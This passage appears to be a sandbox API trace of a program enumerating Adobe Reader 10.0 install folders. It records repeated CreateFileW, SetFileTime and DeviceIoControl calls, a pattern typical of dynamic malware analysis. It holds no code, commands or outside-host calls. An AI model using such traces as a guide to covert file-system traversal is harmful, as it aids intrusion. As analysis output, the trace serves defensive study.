lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0251.604] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.604] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0251.604] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0251.605] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0251.605] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0251.605] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0251.606] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.607] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0251.607] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0251.608] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0251.608] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0251.608] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0251.611] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.611] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0251.611] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0251.612] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0251.612] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0251.612] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0251.615] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.615] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0251.615] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0251.620] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0251.620] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0251.620] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0251.623] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.624] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0251.624] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0251.626] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0251.626] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0251.626] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0251.627] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.627] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0251.627] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0251.628] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0251.628] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0251.629] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0251.632] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.632] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0251.632] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0251.634] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.635] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.635] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.636] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.636] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.637] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.641] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0251.641] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.641] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.642] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.642] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.642] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.643] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0251.643] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.643] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.644] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.644] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.644] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.645] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0251.645] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.645] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.646] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.646] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.647] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.701] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0251.701] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.701] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.702] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.702] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.703] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.797] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0251.797] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.797] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.831] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.832] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.832] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.836] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0251.836] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0251.836] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0251.876] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\prc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0251.876] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.876] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.900] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.900] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0251.900] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0251.938] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\spplugins"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0251.938] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0251.938] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0251.940] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.940] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0251.941] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0252.013] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0252.041] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0252.041] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1658048, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1658048, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0252.102] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0252.102] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 